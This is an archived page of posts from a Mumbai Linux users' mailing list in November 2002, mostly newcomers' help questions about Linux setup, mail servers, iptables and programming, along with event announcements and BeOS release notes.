Hi! I use SuSE Linux 8.0 on a P4 based machine. Can anybody tell me how to install & configure Zope ? I can see that Zope is already installed on my PC ( in the /opt directory). The Doc pages say that I need to compile a .py file which I simply couldn't locate. Please help. Thanx. Bhaskar Ghose. ======= Microsoft is not the answer. Microsoft is the question. No [or GNU /Linux] is the answer. _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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When traversing a linked list
by Satya 25 Nov '02

25 Nov '02

When traversing a linked list, be sure to: 1. initialize your temp pointer 2. advance your temp pointer <bart simpson mode> for(i=0;i<bb_size;i++) { fprintf(bb,"I will not leave my temp pointer uninitialised"); } for(i=0;i<bb_size;i++) { fprintf(bb,"I will not forget to advance my temp pointer"); } </bart simpson mode> Mostly, read http://www.livejournal.com/users/satyap/ -- Satya. <URL:http://satya.virtualave.net/> I need a job! Perl, Apache, Linux, C. http://www-scf.usc.edu/~phanse/resume.pdf Computers are not intelligent. They only think they are.

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Mail server?
by Amish K. Munshi 25 Nov '02

25 Nov '02

Hi, I know I am asking a wrong question just as many have but I am asking just becuse of a little nervousness. I really need help on this one and the only reason I am asking this is to know how much help I will get on any mail server. on this list. I am going live with a complete webhosting and domain name providing service. I need to know which is the best mail server for this purpose. As always the choices are qmail,sendmail, postfix and exim. I have worked with qmail, postfix and sendmail with decreasing order of knowledge about hem. I have never installed exim. Other question is that, does sendmail provide virtual hosting. I have used virtual hosting but that was as system users in sendmail. I want completely transperent virtual hosting. So a amish{at}munshi.dyndns.org will not be any diferent from amish{at}munshi.d2g.com. That will not do my needs. Sorry guys for this question, but its a little more than just a same question. Bye.

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Execute as root on apache
by Amish Munshi 24 Nov '02

24 Nov '02

Hello all, I have a script which is going to add a new user to the system. I am using PHP to execute that script, I have a suid on that script (shell script). But I get permission denied in the logs, the page opens well in the browser. I tried the following, changing the owner of the script to apache and root while giving it 711 permission and 4711 permission. But all does not work. It seems that apache just reads the file and execute the commands in it. How can I execute a script in any folder (on the system) as root. Bye.

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Fw: [ILUG-BOM] Linux Lunacy at Arnala Beach resort.........need a critcal mass of 50
by Trevor Warren 24 Nov '02

24 Nov '02

Hello luggers...:( Luggers.....if i don't have a mass of 50PPL there can't be a trip...besides there won't be sufficient funds to arrange for the BUS. Help us make this a SUCCESSFUL EVENT. After all, we are all here to share our knowledge and learn at the same time. Pls don't dash my hopes. Bye for now. Trevor >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >Forwarded message >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> GNU/Linux Lunacy at Arnala Beach Resort. Coming December 22nd we plan to have a fun fill trip along with a lot of geek speakers and tons of linuxers participate wociferously in debates .... Lay back in the pool and bask in a shade of cocunt tree with a glass of ...... in ur hand at the arnala beach resort. Registrations close on December 10th, for registration go here. http://mlasia.mine.nu/ilug/ For Queries contact : Cost for the same of Rs. 225/ inclusive of travel and food, to be sent to the address provide on the registration form. REGISTRATION WILL BE CONFIRMED ONLY AFTER RECIEVING THE APPROPRIATE AMOUNT. Trevor -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/ _______________________________________________ http://mm.ilug-bom.org.in/mailman/listinfo/linuxers -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/

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creating Desktop shortcuts form java program
by kshitijv 24 Nov '02

24 Nov '02

Hello Luggers, I am developing a cross platform installer in java. I need to create desktop shortcuts and start menu item on Unix/Linux. I am considering KDE, GNOME, Openwin and CDE as target GUI for Unix/Linux systems. I am a newbie for GUI programming on Unix/Linux. Can anybody help me to accomplish this? I am ready for using any native code if required. It will be great if I can get insight with respect to nature and structure of shortcut (link) files. Is there any readymade library (docs) of APIs like we have MSDN for windows? -Kshitij kshitijv e-mail: kshitijv(a)forindia.com

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Mumabi Linux tour
by mails＠munshi.dyndns.org 24 Nov '02

24 Nov '02

Hi, How about having a tour around the city, visiting as many hardware assemblers and teaching them basic installation of linux (hope we agree on a distribution which we can install in front of them). My hardware vendor have engineers who are prety smart but have never used linux so do not know much about it and can not support my system. Since many assemblers take a risk by giving pirated softwares with their PC's they may like this idea. Also Linux will gain a upper hand in being the first OS that people get on their PC and problems with learning a new OS will not exist for linux anymore. We will be fighting propritary software right the at the root. The negative side will be that their software modems and printers (which are cheaper) will not make a market so they may even resist this. We also can ask them (the assemblers and the new users) to subscribe to our mailing list to ask for help. I would suggest an easy to use distribution like Mandrake, or caldera. I would really prefer caldera since it fits on a single CD and assemblers can easily provide a copy of with every comp they sell. Also caldera has limited number of applications, for example just 1-2 broswers, which can be quiet helpful for newbies to computers, also I have not heard a lot of flames for caldera as there are for RH and mandrake. On the other hand, Mr. Rajeev had a problem with Myson NIC which worked under Mandrake, but the kernel module would not compile under most of the other distributions. This is finally just an idea guys, may be there is something very wrong in this idea and may not work at all. Bye

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Re: [ILUG-BOM] iptables and ftp
by Amish Mehta 24 Nov '02

24 Nov '02

slash_axl_rose$upen$ wrote: >when a client tries to ftp what he sees is that iptables goes down?? I dont know what you mean by iptables goes down. But if you mean client cant FTP then you need to add two modules by running following commands as root. modprobe ip_conntrack_ftp modprobe ip_nat_ftp Amish.

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iptables and ftp
by slash_axl_rose(upen) 24 Nov '02

24 Nov '02

Hi my friends having one problem having iptables firewall in gateway ok when a client tries to ftp what he sees is that iptables goes down?? why is this?? thnx in advance --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now

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Re: creating Desktop shortcuts form java program
by kshitijv 24 Nov '02

24 Nov '02

Hi Trevor, I need to create shortcuts to only HTML files (startup files for installed application). I have KDE and GNOME installed. I searched for the directories and found that KDE Desktop shortcuts are in Desktop directory in user's home. The K menu items are in /usr/share/applnk/. I was able to create Desktop shortcuts for KDE. But... On our system, the "users" group doesn't have write permission on menu directory. Also for GNOME its files are in /usr/share/gnome/apps/ where "users" don't have write permission. My client will be a normal user who will use the installer and should be able to create shortcuts for him without needing special access previlages. I tried to create files in user's home directory but they didn't reflected in start menu. For GNOME I could not create Desktop shortcuts also. If I create them manullay (right click desktop and select new link item) the corresponding files that are created have some generated names like "url13546" etc. and contain a single line like URL: file:/home/kshitij/myfile.htm If I create similar file (say testlink) it doesn't work. Also no HTML icon is displayed. You talked about some project pages. Can you forward me links to them? Thnaks for help. -Kshitij > > a newbie for GUI programming on Unix/Linux. Can anybody help me to > > accomplish this? I am ready for using any native code if required. > [snip] > > You won't need any native code to create shortcuts on KDE/Gnome > desktops. > > > > > > > > It will be great if I can get insight with respect to nature and > > structure of shortcut (link) files. Is there any readymade library > > (docs) of APIs like we have MSDN for windows? > [snip] > > You can check out the respective projects pages where you will find > tons of documentation of the same. > > > I suggest you install KDE and Gnome and then go through the directories > it creates for all system users in their home directories. This will > tell you where to just create those shortcuts. > > > This is rocket science pal...Just try out what i just said. > > Bye for now. > > Trevor > > > > > > > -Kshitij > > > > kshitijv > > e-mail: kshitijv(a)forindia.com > > > > kshitijv e-mail: kshitijv(a)forindia.com

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[OT] BeOS Max Edition v2.1 Released
by Prakash Shetty 23 Nov '02

23 Nov '02

Hello linuxers, BeOS Max Edition v2.1 has been released Download : http://www.bebits.com/app/3148 Home : http://vasper.net Forums & FAQ's : http://crux.sourceforge.net/nuke/index.php BeOS 5 PE Max Edition V2.1 Release Notes: System - Installation Boot-CD - Standard Installation-Resolution is now 1024x768 Pixel (changed in MAX Edition) - Include BeOS Update 5.0.3 and FTP security Patch - Include BeOS Developer Tools and BeIDE - Include the OpenTracker 5.1.5 - Include LocaleTracker 1.3.1 (added in MAX Edition V2) - Include the ProcessController 3.1 - Include Pulse Replacement for AMD Processors - Include APM-Driver to use power management functions in a notebook PC or an ATX PC - Include Athlon XP Patch with SSE Enabled (added in MAX Edition) - Enabled HLT command for software cooling. Brings CPU Temperature down. (added in MAX Edition V2.1) - New Uninstall Application in Prefernces - We make a Menu-Link in Applications for the Package Builder - Add a Printer for Write PDF Documents - Add 2 new Open GL Demos to the Demo Menu - Create "/boot/home/download" directory for all downloads - Create "/boot/home/media" directory for all media data (e.g. avi, jpg, mpeg etc.) - Create "/boot/home/config/settings/uninstall" directory for the uninstall Information - Create "/boot/home/config/be/Startup" as a autostart directory - Create "/boot/develop/experimental" directory for experimental application - Create "/boot/develop/src" directory for source code - Create "/boot/home/Desktop/Work" directory as a work folder (temp) (added in MAX Edition) - Create "/boot/home/Desktop/Other Drivers" Directory which includes experimental drivers (added in MAX Edition) - Create "/boot/home/logs" Directory for log files of installations. (added in MAX Edition V2.1) - Added some BeOS Links to Netpositive - Added MP3 Tags&Attributes incl. Tracker Add-On - Added Summon Tracker Add-on (added in MAX Edition) - Added ImageMounter Tracker Add-on (updated in MAX Edition V2.1) - Added Tracker Grep Tracker Add-on (added in MAX Edition) - Added MenuKey Input Server Add-on (added in MAX Edition V2) - Added Sensor2 kernel driver (added in MAX Edition V2.1) New Drivers - Graphics Driver for NVidia RIVA 128, RIVA 128ZX, RIVA TNT, RIVA TNT2, RIVA TNT2 Ultra, RIVA TNT2 Vanta, RIVA TNT2 M64, RIVA TNT2 Aladdin, GeForce 256, GeForce 256 DDR, GeForce2 MX, GeForce2 GTS, GeForce2 Ultra, Quadro, Quadro2 MXR, Quadro2 Pro, GeForce3) - Graphics Driver for S3 S3 Savage3D, Savage3D-MV, Savage/MX, Savage/MX-MV, Savage4 VIA ProSavage PM133, PL133, PN133, KM133, KL133, KN133, KM266 - Graphics Driver for S3 Trio64 (V+ and V2/[GX,DX]) - Graphics Driver for Matrox G100, G200, G400, G450, G550 (updated in Max Edition V2.1) - Graphics Driver for ATI Mobility 1.0b6 (updated in Max Edition V2.1) - Graphics Driver for ATI Rage128 Pro GL (updated in Max Edition V2.1) - Graphics Driver for ATI Radeon (updated in Max Edition V2.1) - Graphics Driver for Intel i810,i815 (added in MAX Edition) (Other Drivers directory on Desktop) - Network Driver for SIS900 (added in MAX Edition V2.1) - IDE Driver Promise Ultra 100TX2 (added in MAX Edition V2.1) - Modem Drivers Package (added in MAX Edition) - PC Card Wizard 1.12 for PCMCIA Network Cards (added in MAX Edition) (Other Drivers directory on Desktop) - CDBurn Driver iso9660 with multi-session support - Translator: Giftranslator 1.3 - Translator: Giftranslator Original (added in MAX Edition V2) - Translator: PSDTranslator with source (in /boot/develop/src) - Translator: ICOTranslator (Windows Icons Translator) - Translator: GFLTranslator - Translator: MNGTranslator - Hybrid DivX 1.3.0.4 (updated in MAX Edition V2.1) - PPPoE DSL driver (added in MAX Edition) (Other Drivers directory on Desktop) - Vesa Accepted 1.1 (added in MAX Edition V2) (Other Drivers directory on Desktop) - Audio Driver for ICH AC97 (added in MAX Edition V2.1) - Audio Driver for CM8338/8738 (added in MAX Edition V2.1) - Audio Driver for Sound Blaster 16 (added in MAX Edition V2.1) - Patch for eepro 100 Network card. Development - orginal gnutools (added in MAX Edition V2) - gnutools (binutils-2.10.1 / gcc-2.95.3) - Perl 5.0.0.5.3 - autoconf-2.53 (Updated in MAX Edition V2) - automake-1.62 (Updated in MAX Edition V2) - libtool-1.4.1 (Updated in MAX Edition V2) - Jam 2.4 (a Make replacement, needed for openbeos) (Updated in MAX Edition V2) - the CVS 1.11+1 System - the BeIDE - the PackageBuilder for pkg Packages - all Important Libs (libbepdf.so, libglib-1.3.so.1, libbzip2.so, libsanta.so, libimagemanip.so, liblayout.so, libfreetype.so, libxpdf.so, libcid2utf8.so, splocale.so) - OpenGL Glut Lib with source (in /boot/develop/src) - BeXL 2.0b3 Demo (added in MAX Edition) (updated in MAX Edition V2) - Visual Be++ 1.3 Demo (added in MAX Edition) - QuickStrip v1.2 Demo (added in MAX Edition) - SDL Main Library 1.2.3 (added in MAX Edition V2) - SDL Game Libraries 1.2.2 (added in MAX Edition V2) - BeKaffe DR2 (added in MAX Edition V2.1) - Resourcer (added in MAX Edition V2.1) Tools - Mozilla v1.1.1 (updated in MAX Edition V2.1) - AbiWord 1.0 (updated in MAX Edition V2) - Gobe Productive 2.0 Trial (added in MAX Edition V2) - PGP50i - PDF Writer 1.5.b2 (updated in MAX Edition V2) - PDF Reader 0.9.4b (updated in MAX Edition V2) - Macromedia Flash for BeOS (added in Max Edition V2.1) - SSH Client1.2.26 - BeShare 2.16 to share your application with all beos users (updated in MAX Edition V2.1) - BFS-Tools-0.7.0 (bfsindex, chkindex, recover) - CDR-Tools-1.8 and CDrecord (mkhybrid, mkisofs, cdrecord, readcd, isodump, isovfy, isoinfo, dump) - Helios CD-Writer Tool with Drag and Drop Support - NetPenguin FTP Client 1.64 - wget 1.8.2 (updated in MAX Edition V2) - w3m Shell Internet Browser - Lha 1.14i (updated in MAX Edition V2) - Added Cron and Crontab - bzip2 (updated in MAX Edition V2) - man 1.5g - BeThemes Beta (added in MAX Edition) - MemoChip (added in MAX Edition) - International Keymap 1.11 (added in MAX Edition) - Switcher 1.0.4 (added in MAX Edition) - Clean-Up Manager (added in MAX Edition V2.1) - Calculator (added in MAX Edition V2.1) - EuroConverter (added in MAX Edition V2.1) - Vision 0.9.5 IRC Client (added in MAX Edition V2.1) - SimpleBackup 1.20 (added in MAX Edition V2.1) Graphics (section added in MAX Edition) - Blender 2.11 Demo (added in MAX Edition) - Moho 2.0 (added in MAX Edition) - BePhotoMagic 0.62 Beta (updated in MAX Edition V2) - Personal Studio 1.5 (added in MAX Edition) - Batterfly Image Viewer (added in MAX Edition) - Desktop Studio (DarkRoom,DeskCamera) (added in MAX Edition) - Beatware e-Picture 1.0 (added in MAX Edition V2.1) Media - Screensaver: Nebular (cool Bump Effect, test it) - Screensaver: Matrix - Screensaver: OpenBeOS 2.0 - StampTV 3.0 (added in MAX Edition) - CL-Amp Winamp clone (added in MAX Edition) - VLC 0.4.4c (updated in MAX Edition V2) - VolumeControl 0.99 (added in MAX Edition V2.1) Games (section added in MAX Edition) - 4 Wins (added in MAX Edition) - Abuse 2.0 Demo (added in MAX Edition) - BePacDeluxe (added in MAX Edition) - Diamond Girls (added in MAX Edition) - Mahjongg 1.6 (added in MAX Edition) - Morphy (added in MAX Edition) - Doom (added in MAX Edition) - Heretic (added in MAX Edition) - SimuTrans 0.8.1 (added in MAX Edition V2) - FreeCraft (added in Max Edition V2.1) - Snake Deluxe (added in Max Edition V2.1) - Invaders SDL (added in Max Edition V2.1) Please publish your future BeOS Application with the PackageBuilder (in Application\Development Menu) to use the new uninstall function. BeOS 5 PE Max Edition v2.1 Based on BeOS Personal Edition 5 Best regards, Prakash Shetty mailto:pshetty@gmx.net

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Linux Lunacy at Arnala Beach resort.........Cmoon. Register Luggers ASAP
by Trevor Warren 23 Nov '02

23 Nov '02

GNU/Linux Lunacy at Arnala Beach Resort. Coming December 22nd we plan to have a fun fill trip along with a lot of geek speakers and tons of linuxers participate wociferously in debates .... Lay back in the pool and bask in a shade of cocunt tree with a glass of ...... in ur hand at the arnala beach resort. Registrations close on December 10th, for registration go here. http://mlasia.mine.nu/ilug/ For Queries contact : Cost for the same of Rs. 225/ inclusive of travel and food, to be sent to the address provide on the registration form. REGISTRATION WILL BE CONFIRMED ONLY AFTER RECIEVING THE APPROPRIATE AMOUNT. Trevor -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/

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mail command
by Girish Hanchate 23 Nov '02

23 Nov '02

Hi How to attach file in mail command. rgds girish __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus � Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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Re: [ILUG-BOM] Linux Lunacy at Arnala Beach resort.
by jtdsouza＠softhome.net 23 Nov '02

23 Nov '02

On Saturday 23 November 2002 10:07, Mitul Limbani wrote: > GNU/Linux Lunacy at Arnala Beach Resort. Where is that rgds jtdesouza(a)yahoo.com

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Re: [ILUG-BOM] Assembler Workshop
by mails＠munshi.dyndns.org 23 Nov '02

23 Nov '02

Hi, Sorry for this mail in this fasion, but there is a temporary problems at my place, Speaking of Voice Chat, just hold on for approx 2 months, you are going to be amazed by the software I am making right now, It will be easy to use, secure and ofcourse opensource under GPL (thanks to sandeep for providing insight into the licences the other day). I am writing a basic overview will be put up on the net in day or so, it is a final year project for me, and I am doing this for IIT. Wish me luck till then. I have tried to use Gnomemeeting but somehow never managed to find user who is ready to voice chat with me. Probably some day I will do a VNC with my self and check gnomemeeting and netmeeting connectivity and also test my software (called as VChat) with it. See ya, and sorry for this ugly mail. Bye.

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proFTP permissions
by Amish Munshi 23 Nov '02

23 Nov '02

Hi, I installed proftpd after sufferring from a trojan for wu-ftpd, my problems are as follows 1. I was a different permission for a users file which are being uploaded. So if a user ftp's to my site and uploads the file then it should have 755 permission, (I am hosting a few perl scripts for a friend of mine and would like them to be executable for all) 2. I want to start the server automatically during boot, I did create a ftp file in the xinetd.d as mentioned in its docs dir and restarted the xinetd daemon, but it does not start. Presently I as starting it using rc.local, and it is starting automatically, but I would like to do it the right way either using the tcp wrappers (xinetd) or the BSD style rc?.d/ way. Thanks in advance. Bye.

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pstotext src/rpm needed
by Sankha Subhra Som 22 Nov '02

22 Nov '02

Does neone have a copy of the pstotext program> The compaq virtual paper link turned out to be a dud. Sankha -- SANKHA SUBHRA SOM ATC - BIOINFORMATICS TCS KLK BUILDING. HYDERABAD-1 Ph:(040)6787980-1024 ******************************************************** An anonymous digitoid ******************************************************** OK, who stopped payment on my reality check?

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dynsmic ip
by Prasad 21 Nov '02

21 Nov '02

hi all i am working on a RH 7.3 and my internet service provied me dynamic IP address,because of which whene ever ON my comp i have new IP address, so i always have to go to site and update it evrytime,so that i can receive mails in my mail client ,i also have Win Xp and i have installed one software which automatically updates the IP because of which i don't have to go to site and update it , so here i just want to know that whether i can do the sam in linux... will be waiting for the reply . prasad

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filesystem repairs on mounted systems.
by Abhijeet D Mhatre 21 Nov '02

21 Nov '02

Hi Friends I want to carry out some file system repairs (fsck, badblocks, etc) The problem is that I want to carry out the repairs on my root partition and swap partitions but when my system boots those partitions are already mounted. There should be a way in which, after my system boots I unmount the partitions or else my system boots such that the partitions are not used at all. regards Abhijeet D Mhatre

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getch in linux
by Hrushikesh Tilak 21 Nov '02

21 Nov '02

Can I use getch in C program with using gcc? Do i have to insert some header? Or can I use it by doing something else? Is there any substitue function for it? Please Help! Thanks in advance! Hrushikesh Tilak. _________________________________________________________________ Tired of spam? Get advanced junk mail protection with MSN 8. http://join.msn.com/?page=features/junkmail

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PINE on command line
by Girish Hanchate 21 Nov '02

21 Nov '02

If u want to send the mail thru command line use mail command. Mail command has all features of pine. rgds girish Hi, How do i send e-mail using pine in command line(by forcing pine not to enter edit mode)??? Any pointers will be useful. Sankha __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus � Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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getch in linux
by Hrushikesh Tilak 20 Nov '02

20 Nov '02

Can I use getch in C program with using gcc? Do i have to insert some header? Or can I use it by doing something else? Is there any substitue function for it? Please Help! Thanks in advance! Hrushikesh Tilak. _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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Linux diskless workstn
by Kamlesh Shah 20 Nov '02

20 Nov '02

Anybody... We are looking for supplier of case, power supply, mother board etc for disk-less linux workstation of very small size. Let me know if any of you are aware of such supplier and I'll be thankful. Regards Kamlesh Shah

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Big in 2003 - the SuSE desktop?
by Kiran Nadgir 20 Nov '02

20 Nov '02

http://www.silicon.com/bin/bladerunner?REQUNIQ=1037770745&REQSESS=10248178&… ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ "When one door of happiness closes, another opens; but often we look so long at the closed door that we do not see the one which has opened for us." -Helen Keller ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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What's the fuss about... UnitedLinux
by Kiran Nadgir 20 Nov '02

20 Nov '02

http://www.silicon.com/bin/bladerunner?30REQEVENT=&REQAUTH=21046&14001REQSU… ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ "When one door of happiness closes, another opens; but often we look so long at the closed door that we do not see the one which has opened for us." -Helen Keller ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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Fwd: [ragu@vsnl.com: [Fsf-friends] a memo and the IT@School Project]
by Nagarjuna G. 20 Nov '02

20 Nov '02

----- Forwarded message from Raghavendra Bhat <ragu(a)vsnl.com> ----- > Date: Tue, 19 Nov 2002 21:55:49 +0530 > From: Raghavendra Bhat <ragu(a)vsnl.com> > Subject: [Fsf-friends] a memo and the IT@School Project > To: fsf-friends(a)gnu.org.in > User-Agent: Mutt/1.5.1-current-20020808i > > Members of FSUG-Kochi have submitted a memorandum to the Government of > Kerala regarding the choice of software and syllabus prescribed for > the IT@School project. Link up and read the full memo at > > http://www.symonds.net/~fsug-kochi/mass-memo.html > ----- End forwarded message -----

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Fwd: Netbios name of windows machine from its IP
by Varun 20 Nov '02

20 Nov '02

Varun <varunop(a)yahoo.com> wrote:From Varun Tue Nov 19 01:55:26 2002 Received: from [203.197.45.67] by web40810.mail.yahoo.com via HTTP; Tue, 19 Nov 2002 01:55:26 PST Date: Tue, 19 Nov 2002 01:55:26 -0800 (PST) From: Varun Subject: Netbios name of windows machine from its IP To: linuxers-admin(a)mm.ilug-bom.org.in MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-340251462-1037699726=:6162" Content-Length: 512 In a LAN of windows and linuc machines how do I find the netbios name of the windows machine from its IP address. I need to know as there is a conflict in IP address in my college between the linux and windows machine and I cannot find the windows machine as there are around 150 computers. Geek by Nature Linux by choice If Linux doesn't have the solution, you have the wrong problem mailto: varunop(a)yahoo.com --------------------------------- Do you Yahoo!? Yahoo! Web Hosting - Let the expert host your site Geek by Nature Linux by choice If Linux doesn't have the solution, you have the wrong problem mailto: varunop(a)yahoo.com --------------------------------- Do you Yahoo!? Yahoo! Web Hosting - Let the expert host your site

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MP tells Gates it prefers Linux
by Tahir Hashmi 20 Nov '02

20 Nov '02

The Economic Times, Nov 20, 2002, pg 10 <quote> MP tells Gates it prefers Linux BHOPAL: Madhya Pradesh, with it's mantra of IT for masses is all set to go the Linux way. Chief Minister Digvijay Singh personally conveyed this message to Microsoft boss Bill Gates during their interaction last week in New Delhi. Madhya Pradesh has thus become the first Indian state to make a definitive choice in favour of open source software in the government system. "For us it is not a question of Microsoft versus Linux. We have nothing against Microsoft or Mr Bill Gates. It's just a matter of choosing between a free software and a monopoly. We feel that when we are putting public information out in the open, then it should not be through a proprietary software," Mr Singh told ET. </unquote> -- Tahir Hashmi (VSE, NCST) http://staff.ncst.ernet.in/tahir tahir AT ncst DOT ernet DOT in We, the rest of humanity, wish GNU luck and Godspeed

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[OT] fun ways to waste time
by Sameer D. Sahasrabuddhe 20 Nov '02

20 Nov '02

http://www.ibiblio.org/pub/Linux/games/!INDEX.html -- MTech Student, Reconfigurable Computing Lab, KReSIT, IIT-Bombay. ---------------------------------------------------------------------- Q: How many Marxists does it take to screw in a light bulb? A: None: The light bulb contains the seeds of its own revolution.

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Sending messages using pine in command line
by Sankha Subhra Som 20 Nov '02

20 Nov '02

Hi, How do i send e-mail using pine in command line(by forcing pine not to enter edit mode)??? Any pointers will be useful. Sankha -- SANKHA SUBHRA SOM ATC - BIOINFORMATICS TCS KLK BUILDING. HYDERABAD-1 Ph:(040)6787980-1024 ******************************************************** An anonymous digitoid ******************************************************** We are born naked, wet, and hungry. Then things get worse.

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PS to PDF: argh!
by Satya 19 Nov '02

19 Nov '02

So I have a nice copy of my resume in PS, thanks to Openoffice and a certain OS's printer drivers. But when I convert the PS to PDF in Linux (gs 5.10), I get awful output -- Type 3 fonts in the PDF. Why? Any way to fix? And the workaround seems to be to use gsview on the afore-unmentioned OS and print to PDF -- except the pdfwrite device does not exist. Why? gsview and gs on the unmentionable OS (yeah ok, XP) are the latest versions, downloaded today. -- Satya. <URL:http://satya.virtualave.net/> I need a job! Perl, Apache, Linux, C. http://www-scf.usc.edu/~phanse/resume.pdf May the Source be with you!

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Re: wrong system date on Linuxers digest, Vol 1 #742
by Parul Mathur 19 Nov '02

19 Nov '02

On Tue, 2002-11-19 at 12:44, linuxers-request(a)mm.ilug-bom.org.in wrote: ^^^^^^^^^^ > Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in List admin, please fix the system date on the mail server. Thanks. Parul --__--__-- Fascinating, a totally parochial attitude. -- Spock, "Metamorphosis", stardate 3219.8

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Programming Bootloaders
by Amol Hatwar 19 Nov '02

19 Nov '02

One of my friends is trying to get into hacking bootloaders. Most of them are based on C and Assembly. Has somebody been this way before? And is it possible to get it done without keeping all the rigisters in your brain ;) (i.e. w/o assembly). Regards, -ah

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distro for installfests
by Ashish Kulkarni 19 Nov '02

19 Nov '02

http://interviews.slashdot.org/article.pl?sid=02/11/18/141251 Hey guys, After reading this slashdot article, I was really struck by the point made there, that you could use a Knoppix Linux _without any chance of damage to your PC_. It's based on Debian, and it's perfect for those who wanna evaluate it. (For those hearing for the first time, it's a "Live" CD -- ie no need to install, just boots off the CD). I've noticed that LinuxPlaza has it too :-) What do you think? - A.

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Re: [ILUG-BOM] Programming Bootloaders
by Hemant Mohapatra 18 Nov '02

18 Nov '02

On Tue, 17 Dec 2002, Amol Hatwar wrote: > are based on C and Assembly. > > Has somebody been this way before? And is it possible to get it done without > keeping all the rigisters in your brain ;) (i.e. w/o assembly). Hacking into bootloaders is always a painful task. Yes, it IS doable without keeping all the registers in your brain and No you can not do it without assembly. Writing all the important registers on paper would surely help a lot. :) The easiest way is a small hack into the bootloader, which would be then be placed at the start of SDRAM, to take the kernel bootable from some other location in memory. Again, techniques depend from chip to chip. Take your pick. I don't think in this hack you can intervene the loader via serial port/etc/etc and the loader would directly access that location but I am not sure of this feature. Which bootloader would you use? Choose one with minimal appendages. hth _h

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linux lunacy 22dec yes or no??
by Gurpreet Singh 18 Nov '02

18 Nov '02

HI I AM SHOUTING AT THE TOP OF MY VOICE NOW SO THAT SOMEONE GETS SOME ATTENTION ON THIS HAVE ASKED THIS 3 TIMES ON THE LIST BUT HAVE GOT NO ANSWERS. ** IS LINUX LUNACY FOR 22DEC CANCELLED OR IS IT BEING DONE ???????????????????????????????? ** PLZ FELLOWS REPLY TO THIS ONE ON WHAT U KNOW ABT IT COZ I M NOT IN MUMBAI AND HAVE TO PLZN FOR IT.... sorry if i was very rude gurpreet Gurpreet Singh Student Final Yr Computer Sc. & Engg. --------------------------------------------------------------------- M A K E Y O U R O W N R O A D --------------------------------------------------------------------

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Hi
by Abhijeet D Mhatre 18 Nov '02

18 Nov '02

Hi Abhijit Your requirement seems quite straightforward. 5 comps in client server. Does that mean 5 comps in lan with one router (Gateway) one file server etc. It should work smoothly. What are the problems you are exactly facing ? Where is your setup located ? Regards Abhijeet

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Re: [ILUG-BOM] [LIH]Are you a cyberoam 24online user? (fwd)
by Hrushikesh Tilak 18 Nov '02

18 Nov '02

There is an cyberoam client on http://sourceforge.net/projects/cyberoam/ It works fine except that since it dows not have a gui as thw Windows client, you cannot get the broadcast messages from the cyberoam server. >From: Philip S Tellis <philip(a)konark.ncst.ernet.in> >Reply-To: linuxers(a)mm.ilug-bom.org.in >To: Linux Users <linuxers(a)mm.ilug-bom.org.in> >Subject: [ILUG-BOM] [LIH]Are you a cyberoam 24online user? (fwd) >Date: Mon, 18 Nov 2002 11:07:32 +0530 (IST) > >Please Cc the OP when replying. > >---------- Forwarded message ---------- >Date: Mon, 18 Nov 2002 06:07:36 +0530 >From: Sandip Bhattacharya <sandip(a)linux-delhi.org> >Reply-To: linux-india-help(a)lists.sourceforge.net >To: ILUGD Mailing list <ilugd(a)wpaa.org>, > Linux India Help <linux-india-help(a)lists.sourceforge.net> >Subject: [LIH]Are you a cyberoam 24online user? > > >[Warning:Crossposted. Watch where you reply] > >Hi! > >1. I wanted to know how many of the folks around here are using > cyberoam 24online based cable networks. > >2. If you have, what have been your experiences with using it on > Linux. > a. Have you asked your cable network wallah about using the network > with Linux clients? > b. Or, have you given up and decided to use the windows machine for > accessing the Net > >3. Are you still interested in finding out a way of using these > networks using Linux? > >- Sandip > >-- >-------------------------------------------------------- >Sandip Bhattacharya >sandipb <@> bigfoot.com >http://www.sandipb.net GPG/PGP: 0x08EB637C >-------------------------------------------------------- > > >_______________________________________________ >http://mm.ilug-bom.org.in/mailman/listinfo/linuxers _________________________________________________________________ Help STOP SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail

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Linux Publicity is important now
by Prince 18 Nov '02

18 Nov '02

